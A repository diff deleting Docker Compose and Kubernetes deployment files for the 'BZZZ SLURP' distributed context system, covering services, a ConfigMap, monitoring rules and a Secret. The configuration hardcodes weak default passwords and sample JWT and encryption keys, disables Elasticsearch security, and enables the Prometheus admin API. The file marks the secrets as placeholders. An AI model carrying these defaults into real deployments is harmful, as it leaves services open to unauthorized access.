# Set entrypoint
ENTRYPOINT ["/slurp-distributor"]
# Labels for container metadata
LABEL maintainer="BZZZ Team"
LABEL version="1.0.0"
LABEL description="BZZZ SLURP Distributed Context System"
LABEL org.label-schema.schema-version="1.0"
LABEL org.label-schema.name="slurp-distributor"
LABEL org.label-schema.description="Enterprise-grade distributed context distribution system"
LABEL org.label-schema.url="https://github.com/anthonyrawlins/bzzz"
LABEL org.label-schema.vcs-url="https://github.com/anthonyrawlins/bzzz"
LABEL org.label-schema.build-date="2024-01-01T00:00:00Z"

328
deployments/docker/docker-compose.yml
View File

@@ -1,328 +0,0 @@
# BZZZ SLURP Distributed Context Distribution - Development Environment
version: '3.8'
x-common-variables: &common-env
- LOG_LEVEL=info
- ENVIRONMENT=development
- CLUSTER_NAME=bzzz-slurp-dev
- NETWORK_MODE=p2p
x-common-volumes: &common-volumes
- ./config:/app/config:ro
- ./data:/app/data
- ./logs:/app/logs
services:
# SLURP Coordinator - Central coordination service
slurp-coordinator:
build:
context: ../..
dockerfile: deployments/docker/Dockerfile.slurp-coordinator
container_name: slurp-coordinator
hostname: coordinator.bzzz.local
restart: unless-stopped
environment:
<<: *common-env
- ROLE=coordinator
- NODE_ID=coord-01
- MONITORING_PORT=9091
- DHT_BOOTSTRAP_PEERS=distributor-01:11434,distributor-02:11434
volumes: *common-volumes
ports:
- "8080:8080" # HTTP API
- "9091:9091" # Metrics
networks:
- bzzz-slurp
depends_on:
- prometheus
- grafana
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8080/health"]
interval: 30s
timeout: 10s
retries: 3
start_period: 60s
# SLURP Distributors - Context distribution nodes
slurp-distributor-01:
build:
context: ../..
dockerfile: deployments/docker/Dockerfile.slurp-distributor
container_name: slurp-distributor-01
hostname: distributor-01.bzzz.local
restart: unless-stopped
environment:
<<: *common-env
- ROLE=distributor
- NODE_ID=dist-01
- COORDINATOR_ENDPOINT=http://slurp-coordinator:8080
- DHT_PORT=11434
- REPLICATION_FACTOR=3
volumes: *common-volumes
ports:
- "8081:8080" # HTTP API
- "11434:11434" # DHT P2P
- "9092:9090" # Metrics
networks:
- bzzz-slurp
depends_on:
- slurp-coordinator
healthcheck:
test: ["CMD", "/slurp-distributor", "health"]
interval: 30s
timeout: 10s
retries: 3
start_period: 30s
slurp-distributor-02:
build:
context: ../..
dockerfile: deployments/docker/Dockerfile.slurp-distributor
container_name: slurp-distributor-02
hostname: distributor-02.bzzz.local
restart: unless-stopped
environment:
<<: *common-env
- ROLE=distributor
- NODE_ID=dist-02
- COORDINATOR_ENDPOINT=http://slurp-coordinator:8080
- DHT_PORT=11434
- REPLICATION_FACTOR=3
- DHT_BOOTSTRAP_PEERS=slurp-distributor-01:11434
volumes: *common-volumes
ports:
- "8082:8080" # HTTP API
- "11435:11434" # DHT P2P
- "9093:9090" # Metrics
networks:
- bzzz-slurp
depends_on:
- slurp-coordinator
- slurp-distributor-01
healthcheck:
test: ["CMD", "/slurp-distributor", "health"]
interval: 30s
timeout: 10s
retries: 3
start_period: 30s
slurp-distributor-03:
build:
context: ../..
dockerfile: deployments/docker/Dockerfile.slurp-distributor
container_name: slurp-distributor-03
hostname: distributor-03.bzzz.local
restart: unless-stopped
environment:
<<: *common-env
- ROLE=distributor
- NODE_ID=dist-03
- COORDINATOR_ENDPOINT=http://slurp-coordinator:8080
- DHT_PORT=11434
- REPLICATION_FACTOR=3
- DHT_BOOTSTRAP_PEERS=slurp-distributor-01:11434,slurp-distributor-02:11434
volumes: *common-volumes
ports:
- "8083:8080" # HTTP API
- "11436:11434" # DHT P2P
- "9094:9090" # Metrics
networks:
- bzzz-slurp
depends_on:
- slurp-coordinator
- slurp-distributor-01
- slurp-distributor-02
healthcheck:
test: ["CMD", "/slurp-distributor", "health"]
interval: 30s
timeout: 10s
retries: 3
start_period: 30s
# Prometheus - Metrics collection
prometheus:
image: prom/prometheus:v2.48.0
container_name: slurp-prometheus
hostname: prometheus.bzzz.local
restart: unless-stopped
ports:
- "9090:9090"
volumes:
- ./prometheus.yml:/etc/prometheus/prometheus.yml:ro
- prometheus-data:/prometheus
networks:
- bzzz-slurp
command:
- '--config.file=/etc/prometheus/prometheus.yml'
- '--storage.tsdb.path=/prometheus'
- '--storage.tsdb.retention.time=15d'
- '--web.console.libraries=/etc/prometheus/console_libraries'
- '--web.console.templates=/etc/prometheus/consoles'
- '--web.enable-lifecycle'
- '--web.enable-admin-api'
# Grafana - Metrics visualization
grafana:
image: grafana/grafana:10.2.2
container_name: slurp-grafana
hostname: grafana.bzzz.local
restart: unless-stopped
ports:
- "3000:3000"
environment:
- GF_SECURITY_ADMIN_PASSWORD=admin123
- GF_USERS_ALLOW_SIGN_UP=false
- GF_SERVER_ROOT_URL=http://localhost:3000
- GF_INSTALL_PLUGINS=grafana-clock-panel,grafana-simple-json-datasource
volumes:
- grafana-data:/var/lib/grafana
- ./grafana/dashboards:/etc/grafana/provisioning/dashboards:ro
- ./grafana/datasources:/etc/grafana/provisioning/datasources:ro
networks:
- bzzz-slurp
depends_on:
- prometheus
# Redis - Shared state and caching
redis:
image: redis:7.2-alpine
container_name: slurp-redis
hostname: redis.bzzz.local
restart: unless-stopped
ports:
- "6379:6379"
volumes:
- redis-data:/data
- ./redis.conf:/usr/local/etc/redis/redis.conf:ro
networks:
- bzzz-slurp
command: redis-server /usr/local/etc/redis/redis.conf
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 30s
timeout: 10s
retries: 3
# MinIO - Object storage for large contexts
minio:
image: minio/minio:RELEASE.2023-12-23T07-19-11Z
container_name: slurp-minio
hostname: minio.bzzz.local
restart: unless-stopped
ports:
- "9000:9000"
- "9001:9001"
environment:
- MINIO_ROOT_USER=admin
- MINIO_ROOT_PASSWORD=admin123456
- MINIO_REGION_NAME=us-east-1
volumes:
- minio-data:/data
networks:
- bzzz-slurp
command: server /data --console-address ":9001"
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 10s
retries: 3
# Jaeger - Distributed tracing
jaeger:
image: jaegertracing/all-in-one:1.51
container_name: slurp-jaeger
hostname: jaeger.bzzz.local
restart: unless-stopped
ports:
- "14268:14268" # HTTP collector
- "16686:16686" # Web UI
- "6831:6831/udp" # Agent UDP
- "6832:6832/udp" # Agent UDP
environment:
- COLLECTOR_OTLP_ENABLED=true
- COLLECTOR_ZIPKIN_HOST_PORT=:9411
volumes:
- jaeger-data:/tmp
networks:
- bzzz-slurp
# ElasticSearch - Log storage and search
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:8.11.3
container_name: slurp-elasticsearch
hostname: elasticsearch.bzzz.local
restart: unless-stopped
ports:
- "9200:9200"
environment:
- discovery.type=single-node
- xpack.security.enabled=false
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
volumes:
- elasticsearch-data:/usr/share/elasticsearch/data
networks:
- bzzz-slurp
healthcheck:
test: ["CMD-SHELL", "curl -f http://localhost:9200/_health || exit 1"]
interval: 30s
timeout: 10s
retries: 5
# Kibana - Log visualization
kibana:
image: docker.elastic.co/kibana/kibana:8.11.3
container_name: slurp-kibana
hostname: kibana.bzzz.local
restart: unless-stopped
ports:
- "5601:5601"
environment:
- ELASTICSEARCH_HOSTS=http://elasticsearch:9200
- SERVER_HOST=0.0.0.0
networks:
- bzzz-slurp
depends_on:
- elasticsearch
# Load Balancer
nginx:
image: nginx:1.25-alpine
container_name: slurp-nginx
hostname: nginx.bzzz.local
restart: unless-stopped
ports:
- "80:80"
- "443:443"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
- ./ssl:/etc/nginx/ssl:ro
networks:
- bzzz-slurp
depends_on:
- slurp-coordinator
- slurp-distributor-01
- slurp-distributor-02
- slurp-distributor-03
networks:
bzzz-slurp:
driver: bridge
ipam:
driver: default
config:
- subnet: 172.20.0.0/16
name: bzzz-slurp-network
volumes:
prometheus-data:
driver: local
grafana-data:
driver: local
redis-data:
driver: local
minio-data:
driver: local
jaeger-data:
driver: local
elasticsearch-data:
driver: local

304
deployments/kubernetes/configmap.yaml
View File

@@ -1,304 +0,0 @@
# BZZZ SLURP Configuration
apiVersion: v1
kind: ConfigMap
metadata:
name: slurp-config
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: bzzz-slurp
app.kubernetes.io/component: config
data:
# Application Configuration
app.yaml: |
cluster:
name: "bzzz-slurp-prod"
region: "us-east-1"
environment: "production"
network:
p2p_port: 11434
http_port: 8080
metrics_port: 9090
health_port: 8081
max_connections: 1000
connection_timeout: 30s
keep_alive: true
dht:
bootstrap_timeout: 60s
discovery_interval: 300s
protocol_prefix: "/bzzz-slurp"
mode: "auto"
auto_bootstrap: true
max_peers: 50
replication:
default_factor: 3
min_factor: 2
max_factor: 7
consistency_level: "eventual"
repair_threshold: 0.8
rebalance_interval: 6h
avoid_same_node: true
storage:
data_dir: "/app/data"
max_size: "100GB"
compression: true
encryption: true
backup_enabled: true
backup_interval: "24h"
security:
encryption_enabled: true
role_based_access: true
audit_logging: true
tls_enabled: true
cert_path: "/app/certs"
monitoring:
metrics_enabled: true
health_checks: true
tracing_enabled: true
log_level: "info"
structured_logging: true
# Role-based Access Control
roles:
senior_architect:
access_level: "critical"
compartments: ["architecture", "system", "security"]
permissions: ["read", "write", "delete", "distribute"]
project_manager:
access_level: "critical"
compartments: ["project", "coordination", "planning"]
permissions: ["read", "write", "distribute"]
devops_engineer:
access_level: "high"
compartments: ["infrastructure", "deployment", "monitoring"]
permissions: ["read", "write", "distribute"]
backend_developer:
access_level: "medium"
compartments: ["backend", "api", "services"]
permissions: ["read", "write"]
frontend_developer:
access_level: "medium"
compartments: ["frontend", "ui", "components"]
permissions: ["read", "write"]
# Logging Configuration
logging.yaml: |
level: info
format: json
output: stdout
loggers:
coordinator:
level: info
handlers: ["console", "file"]
distributor:
level: info
handlers: ["console", "file", "elasticsearch"]
dht:
level: warn
handlers: ["console"]
security:
level: debug
handlers: ["console", "file", "audit"]
handlers:
console:
type: console
format: "%(asctime)s %(levelname)s [%(name)s] %(message)s"
file:
type: file
filename: "/app/logs/slurp.log"
max_size: "100MB"
backup_count: 5
format: "%(asctime)s %(levelname)s [%(name)s] %(message)s"
elasticsearch:
type: elasticsearch
hosts: ["http://elasticsearch:9200"]
index: "slurp-logs"
audit:
type: file
filename: "/app/logs/audit.log"
max_size: "50MB"
backup_count: 10
# Prometheus Configuration
prometheus.yml: |
global:
scrape_interval: 15s
evaluation_interval: 15s
rule_files:
- "slurp_alerts.yml"
scrape_configs:
- job_name: 'slurp-coordinator'
static_configs:
- targets: ['slurp-coordinator:9090']
scrape_interval: 15s
metrics_path: '/metrics'
- job_name: 'slurp-distributors'
kubernetes_sd_configs:
- role: pod
namespaces:
names:
- bzzz-slurp
relabel_configs:
- source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_name]
action: keep
regex: slurp-distributor
- source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
action: keep
regex: true
- source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_port]
action: replace
target_label: __address__
regex: ([^:]+)(?::\d+)?;(\d+)
replacement: $1:$2
# Alert Rules
slurp_alerts.yml: |
groups:
- name: slurp.rules
rules:
- alert: SlurpCoordinatorDown
expr: up{job="slurp-coordinator"} == 0
for: 2m
labels:
severity: critical
annotations:
summary: "SLURP Coordinator is down"
description: "SLURP Coordinator has been down for more than 2 minutes."
- alert: SlurpDistributorDown
expr: up{job="slurp-distributors"} == 0
for: 2m
labels:
severity: critical
annotations:
summary: "SLURP Distributor is down"
description: "SLURP Distributor {{ $labels.instance }} has been down for more than 2 minutes."
- alert: HighMemoryUsage
expr: (process_resident_memory_bytes / process_virtual_memory_bytes) > 0.9
for: 5m
labels:
severity: warning
annotations:
summary: "High memory usage"
description: "Memory usage is above 90% for {{ $labels.instance }}"
- alert: HighCPUUsage
expr: rate(process_cpu_seconds_total[5m]) > 0.8
for: 5m
labels:
severity: warning
annotations:
summary: "High CPU usage"
description: "CPU usage is above 80% for {{ $labels.instance }}"
- alert: DHTPartitionDetected
expr: slurp_network_partitions > 1
for: 1m
labels:
severity: critical
annotations:
summary: "Network partition detected"
description: "{{ $value }} network partitions detected in the cluster"
- alert: ReplicationFactorBelowThreshold
expr: slurp_replication_factor < 2
for: 5m
labels:
severity: warning
annotations:
summary: "Replication factor below threshold"
description: "Average replication factor is {{ $value }}, below minimum of 2"
# Grafana Dashboard Configuration
grafana-dashboard.json: |
{
"dashboard": {
"id": null,
"title": "BZZZ SLURP Distributed Context System",
"tags": ["bzzz", "slurp", "distributed"],
"style": "dark",
"timezone": "UTC",
"panels": [
{
"id": 1,
"title": "System Overview",
"type": "stat",
"targets": [
{
"expr": "up{job=~\"slurp-.*\"}",
"legendFormat": "Services Up"
}
]
},
{
"id": 2,
"title": "Context Distribution Rate",
"type": "graph",
"targets": [
{
"expr": "rate(slurp_contexts_distributed_total[5m])",
"legendFormat": "Distributions/sec"
}
]
},
{
"id": 3,
"title": "DHT Network Health",
"type": "graph",
"targets": [
{
"expr": "slurp_dht_connected_peers",
"legendFormat": "Connected Peers"
}
]
}
],
"time": {
"from": "now-1h",
"to": "now"
},
"refresh": "30s"
}
}
---
# Secrets (placeholder - should be created separately with actual secrets)
apiVersion: v1
kind: Secret
metadata:
name: slurp-secrets
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: bzzz-slurp
app.kubernetes.io/component: secrets
type: Opaque
data:
# Base64 encoded values - these are examples, use actual secrets in production
redis-password: YWRtaW4xMjM= # admin123
minio-access-key: YWRtaW4= # admin
minio-secret-key: YWRtaW4xMjM0NTY= # admin123456
elasticsearch-username: ZWxhc3RpYw== # elastic
elasticsearch-password: Y2hhbmdlbWU= # changeme
encryption-key: "YWJjZGVmZ2hpams=" # base64 encoded encryption key
jwt-secret: "c3VwZXJzZWNyZXRqd3RrZXk=" # base64 encoded JWT secret

410
deployments/kubernetes/coordinator-deployment.yaml
View File

@@ -1,410 +0,0 @@
# BZZZ SLURP Coordinator Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
name: slurp-coordinator
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/instance: slurp-coordinator
app.kubernetes.io/component: coordinator
app.kubernetes.io/part-of: bzzz-slurp
app.kubernetes.io/version: "1.0.0"
app.kubernetes.io/managed-by: kubernetes
spec:
replicas: 2
strategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 1
maxSurge: 1
selector:
matchLabels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/instance: slurp-coordinator
template:
metadata:
labels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/instance: slurp-coordinator
app.kubernetes.io/component: coordinator
app.kubernetes.io/part-of: bzzz-slurp
app.kubernetes.io/version: "1.0.0"
annotations:
prometheus.io/scrape: "true"
prometheus.io/port: "9090"
prometheus.io/path: "/metrics"
cluster-autoscaler.kubernetes.io/safe-to-evict: "true"
spec:
serviceAccountName: slurp-coordinator
securityContext:
runAsNonRoot: true
runAsUser: 1001
runAsGroup: 1001
fsGroup: 1001
seccompProfile:
type: RuntimeDefault
containers:
- name: coordinator
image: registry.home.deepblack.cloud/bzzz/slurp-coordinator:latest
imagePullPolicy: Always
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
ports:
- name: http
containerPort: 8080
protocol: TCP
- name: metrics
containerPort: 9090
protocol: TCP
- name: health
containerPort: 8081
protocol: TCP
env:
- name: POD_NAME
valueFrom:
fieldRef:
fieldPath: metadata.name
- name: POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
- name: POD_IP
valueFrom:
fieldRef:
fieldPath: status.podIP
- name: NODE_NAME
valueFrom:
fieldRef:
fieldPath: spec.nodeName
- name: ROLE
value: "coordinator"
- name: NODE_ID
value: "$(POD_NAME)"
- name: CLUSTER_NAME
value: "bzzz-slurp-prod"
- name: LOG_LEVEL
value: "info"
- name: ENVIRONMENT
value: "production"
- name: METRICS_PORT
value: "9090"
- name: HEALTH_PORT
value: "8081"
- name: REDIS_ENDPOINT
value: "redis:6379"
- name: ELASTICSEARCH_ENDPOINT
value: "http://elasticsearch:9200"
- name: JAEGER_AGENT_HOST
value: "jaeger-agent"
- name: JAEGER_AGENT_PORT
value: "6831"
envFrom:
- configMapRef:
name: slurp-config
- secretRef:
name: slurp-secrets
resources:
requests:
cpu: 500m
memory: 1Gi
limits:
cpu: 2
memory: 4Gi
livenessProbe:
httpGet:
path: /health
port: health
initialDelaySeconds: 60
periodSeconds: 30
timeoutSeconds: 10
successThreshold: 1
failureThreshold: 3
readinessProbe:
httpGet:
path: /ready
port: health
initialDelaySeconds: 30
periodSeconds: 10
timeoutSeconds: 5
successThreshold: 1
failureThreshold: 3
startupProbe:
httpGet:
path: /startup
port: health
initialDelaySeconds: 10
periodSeconds: 10
timeoutSeconds: 5
successThreshold: 1
failureThreshold: 12
volumeMounts:
- name: config
mountPath: /app/config
readOnly: true
- name: data
mountPath: /app/data
- name: logs
mountPath: /app/logs
- name: tmp
mountPath: /tmp
- name: monitoring-agent
image: prom/node-exporter:v1.7.0
imagePullPolicy: IfNotPresent
ports:
- name: node-metrics
containerPort: 9100
protocol: TCP
resources:
requests:
cpu: 50m
memory: 64Mi
limits:
cpu: 200m
memory: 256Mi
volumeMounts:
- name: proc
mountPath: /host/proc
readOnly: true
- name: sys
mountPath: /host/sys
readOnly: true
volumes:
- name: config
configMap:
name: slurp-config
defaultMode: 0644
- name: data
persistentVolumeClaim:
claimName: coordinator-data-pvc
- name: logs
emptyDir:
sizeLimit: 1Gi
- name: tmp
emptyDir:
sizeLimit: 500Mi
- name: proc
hostPath:
path: /proc
- name: sys
hostPath:
path: /sys
affinity:
podAntiAffinity:
preferredDuringSchedulingIgnoredDuringExecution:
- weight: 100
podAffinityTerm:
labelSelector:
matchExpressions:
- key: app.kubernetes.io/name
operator: In
values:
- slurp-coordinator
topologyKey: kubernetes.io/hostname
nodeAffinity:
preferredDuringSchedulingIgnoredDuringExecution:
- weight: 50
preference:
matchExpressions:
- key: node-type
operator: In
values:
- coordinator
tolerations:
- key: "node.kubernetes.io/not-ready"
operator: "Exists"
effect: "NoExecute"
tolerationSeconds: 300
- key: "node.kubernetes.io/unreachable"
operator: "Exists"
effect: "NoExecute"
tolerationSeconds: 300
restartPolicy: Always
terminationGracePeriodSeconds: 30
dnsPolicy: ClusterFirst
---
# Service Account
apiVersion: v1
kind: ServiceAccount
metadata:
name: slurp-coordinator
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/component: service-account
automountServiceAccountToken: true
---
# Role
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: slurp-coordinator
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/component: rbac
rules:
- apiGroups: [""]
resources: ["pods", "services", "endpoints"]
verbs: ["get", "list", "watch"]
- apiGroups: [""]
resources: ["configmaps", "secrets"]
verbs: ["get", "list", "watch"]
- apiGroups: ["apps"]
resources: ["deployments", "replicasets"]
verbs: ["get", "list", "watch"]
---
# Role Binding
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: slurp-coordinator
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/component: rbac
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: slurp-coordinator
subjects:
- kind: ServiceAccount
name: slurp-coordinator
namespace: bzzz-slurp
---
# Service
apiVersion: v1
kind: Service
metadata:
name: slurp-coordinator
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/component: service
annotations:
prometheus.io/scrape: "true"
prometheus.io/port: "9090"
prometheus.io/path: "/metrics"
spec:
type: ClusterIP
ports:
- port: 8080
targetPort: http
protocol: TCP
name: http
- port: 9090
targetPort: metrics
protocol: TCP
name: metrics
selector:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/instance: slurp-coordinator
---
# Headless Service for StatefulSet
apiVersion: v1
kind: Service
metadata:
name: slurp-coordinator-headless
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/component: headless-service
spec:
type: ClusterIP
clusterIP: None
ports:
- port: 8080
targetPort: http
protocol: TCP
name: http
selector:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/instance: slurp-coordinator
---
# PersistentVolumeClaim
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: coordinator-data-pvc
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/component: storage
spec:
accessModes:
- ReadWriteOnce
storageClassName: fast-ssd
resources:
requests:
storage: 50Gi
---
# HorizontalPodAutoscaler
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
name: slurp-coordinator-hpa
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/component: hpa
spec:
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: slurp-coordinator
minReplicas: 2
maxReplicas: 10
metrics:
- type: Resource
resource:
name: cpu
target:
type: Utilization
averageUtilization: 70
- type: Resource
resource:
name: memory
target:
type: Utilization
averageUtilization: 80
behavior:
scaleUp:
stabilizationWindowSeconds: 60
policies:
- type: Percent
value: 100
periodSeconds: 15
scaleDown:
stabilizationWindowSeconds: 300
policies:
- type: Percent
value: 10
periodSeconds: 60
---
# PodDisruptionBudget
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: slurp-coordinator-pdb
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/component: pdb
spec:
minAvailable: 1
selector:
matchLabels:
app.kubernetes.io/name: slurp-coordinator
app.kubernetes.io/instance: slurp-coordinator

390
deployments/kubernetes/distributor-statefulset.yaml
View File

@@ -1,390 +0,0 @@
# BZZZ SLURP Distributor StatefulSet
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: slurp-distributor
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/instance: slurp-distributor
app.kubernetes.io/component: distributor
app.kubernetes.io/part-of: bzzz-slurp
app.kubernetes.io/version: "1.0.0"
app.kubernetes.io/managed-by: kubernetes
spec:
serviceName: slurp-distributor-headless
replicas: 3
updateStrategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 1
selector:
matchLabels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/instance: slurp-distributor
template:
metadata:
labels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/instance: slurp-distributor
app.kubernetes.io/component: distributor
app.kubernetes.io/part-of: bzzz-slurp
app.kubernetes.io/version: "1.0.0"
annotations:
prometheus.io/scrape: "true"
prometheus.io/port: "9090"
prometheus.io/path: "/metrics"
cluster-autoscaler.kubernetes.io/safe-to-evict: "false"
spec:
serviceAccountName: slurp-distributor
securityContext:
runAsNonRoot: true
runAsUser: 1001
runAsGroup: 1001
fsGroup: 1001
seccompProfile:
type: RuntimeDefault
containers:
- name: distributor
image: registry.home.deepblack.cloud/bzzz/slurp-distributor:latest
imagePullPolicy: Always
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
ports:
- name: http
containerPort: 8080
protocol: TCP
- name: dht-p2p
containerPort: 11434
protocol: TCP
- name: metrics
containerPort: 9090
protocol: TCP
- name: health
containerPort: 8081
protocol: TCP
env:
- name: POD_NAME
valueFrom:
fieldRef:
fieldPath: metadata.name
- name: POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
- name: POD_IP
valueFrom:
fieldRef:
fieldPath: status.podIP
- name: NODE_NAME
valueFrom:
fieldRef:
fieldPath: spec.nodeName
- name: ROLE
value: "distributor"
- name: NODE_ID
value: "$(POD_NAME)"
- name: CLUSTER_NAME
value: "bzzz-slurp-prod"
- name: LOG_LEVEL
value: "info"
- name: ENVIRONMENT
value: "production"
- name: DHT_PORT
value: "11434"
- name: METRICS_PORT
value: "9090"
- name: HEALTH_PORT
value: "8081"
- name: REPLICATION_FACTOR
value: "3"
- name: COORDINATOR_ENDPOINT
value: "http://slurp-coordinator:8080"
- name: REDIS_ENDPOINT
value: "redis:6379"
- name: MINIO_ENDPOINT
value: "http://minio:9000"
- name: ELASTICSEARCH_ENDPOINT
value: "http://elasticsearch:9200"
- name: JAEGER_AGENT_HOST
value: "jaeger-agent"
- name: JAEGER_AGENT_PORT
value: "6831"
# DHT Bootstrap peers - constructed from headless service
- name: DHT_BOOTSTRAP_PEERS
value: "slurp-distributor-0.slurp-distributor-headless:11434,slurp-distributor-1.slurp-distributor-headless:11434,slurp-distributor-2.slurp-distributor-headless:11434"
envFrom:
- configMapRef:
name: slurp-config
- secretRef:
name: slurp-secrets
resources:
requests:
cpu: 1
memory: 2Gi
limits:
cpu: 4
memory: 8Gi
livenessProbe:
exec:
command:
- /slurp-distributor
- health
initialDelaySeconds: 60
periodSeconds: 30
timeoutSeconds: 10
successThreshold: 1
failureThreshold: 3
readinessProbe:
exec:
command:
- /slurp-distributor
- ready
initialDelaySeconds: 30
periodSeconds: 10
timeoutSeconds: 5
successThreshold: 1
failureThreshold: 3
startupProbe:
exec:
command:
- /slurp-distributor
- startup
initialDelaySeconds: 10
periodSeconds: 10
timeoutSeconds: 5
successThreshold: 1
failureThreshold: 18 # 3 minutes
volumeMounts:
- name: config
mountPath: /app/config
readOnly: true
- name: data
mountPath: /app/data
- name: logs
mountPath: /app/logs
- name: tmp
mountPath: /tmp
- name: dht-monitor
image: busybox:1.36-musl
imagePullPolicy: IfNotPresent
command: ["/bin/sh"]
args:
- -c
- |
while true; do
echo "DHT Status: $(nc -z localhost 11434 && echo 'UP' || echo 'DOWN')"
sleep 60
done
resources:
requests:
cpu: 10m
memory: 16Mi
limits:
cpu: 50m
memory: 64Mi
volumes:
- name: config
configMap:
name: slurp-config
defaultMode: 0644
- name: logs
emptyDir:
sizeLimit: 2Gi
- name: tmp
emptyDir:
sizeLimit: 1Gi
affinity:
podAntiAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
- labelSelector:
matchExpressions:
- key: app.kubernetes.io/name
operator: In
values:
- slurp-distributor
topologyKey: kubernetes.io/hostname
nodeAffinity:
preferredDuringSchedulingIgnoredDuringExecution:
- weight: 50
preference:
matchExpressions:
- key: node-type
operator: In
values:
- storage
- compute
tolerations:
- key: "node.kubernetes.io/not-ready"
operator: "Exists"
effect: "NoExecute"
tolerationSeconds: 300
- key: "node.kubernetes.io/unreachable"
operator: "Exists"
effect: "NoExecute"
tolerationSeconds: 300
restartPolicy: Always
terminationGracePeriodSeconds: 60
dnsPolicy: ClusterFirst
volumeClaimTemplates:
- metadata:
name: data
labels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/component: storage
spec:
accessModes: ["ReadWriteOnce"]
storageClassName: fast-ssd
resources:
requests:
storage: 100Gi
---
# Service Account
apiVersion: v1
kind: ServiceAccount
metadata:
name: slurp-distributor
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/component: service-account
automountServiceAccountToken: true
---
# Role
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: slurp-distributor
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/component: rbac
rules:
- apiGroups: [""]
resources: ["pods", "services", "endpoints"]
verbs: ["get", "list", "watch"]
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get", "list", "watch"]
- apiGroups: ["apps"]
resources: ["statefulsets"]
verbs: ["get", "list", "watch"]
---
# Role Binding
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: slurp-distributor
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/component: rbac
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: slurp-distributor
subjects:
- kind: ServiceAccount
name: slurp-distributor
namespace: bzzz-slurp
---
# Service
apiVersion: v1
kind: Service
metadata:
name: slurp-distributor
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/component: service
annotations:
prometheus.io/scrape: "true"
prometheus.io/port: "9090"
prometheus.io/path: "/metrics"
spec:
type: ClusterIP
ports:
- port: 8080
targetPort: http
protocol: TCP
name: http
- port: 9090
targetPort: metrics
protocol: TCP
name: metrics
selector:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/instance: slurp-distributor
---
# Headless Service for StatefulSet
apiVersion: v1
kind: Service
metadata:
name: slurp-distributor-headless
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/component: headless-service
spec:
type: ClusterIP
clusterIP: None
ports:
- port: 8080
targetPort: http
protocol: TCP
name: http
- port: 11434
targetPort: dht-p2p
protocol: TCP
name: dht-p2p
selector:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/instance: slurp-distributor
---
# DHT P2P Service (NodePort for external connectivity)
apiVersion: v1
kind: Service
metadata:
name: slurp-distributor-p2p
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/component: p2p-service
spec:
type: NodePort
ports:
- port: 11434
targetPort: dht-p2p
protocol: TCP
name: dht-p2p
nodePort: 31434
selector:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/instance: slurp-distributor
---
# PodDisruptionBudget
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: slurp-distributor-pdb
namespace: bzzz-slurp
labels:
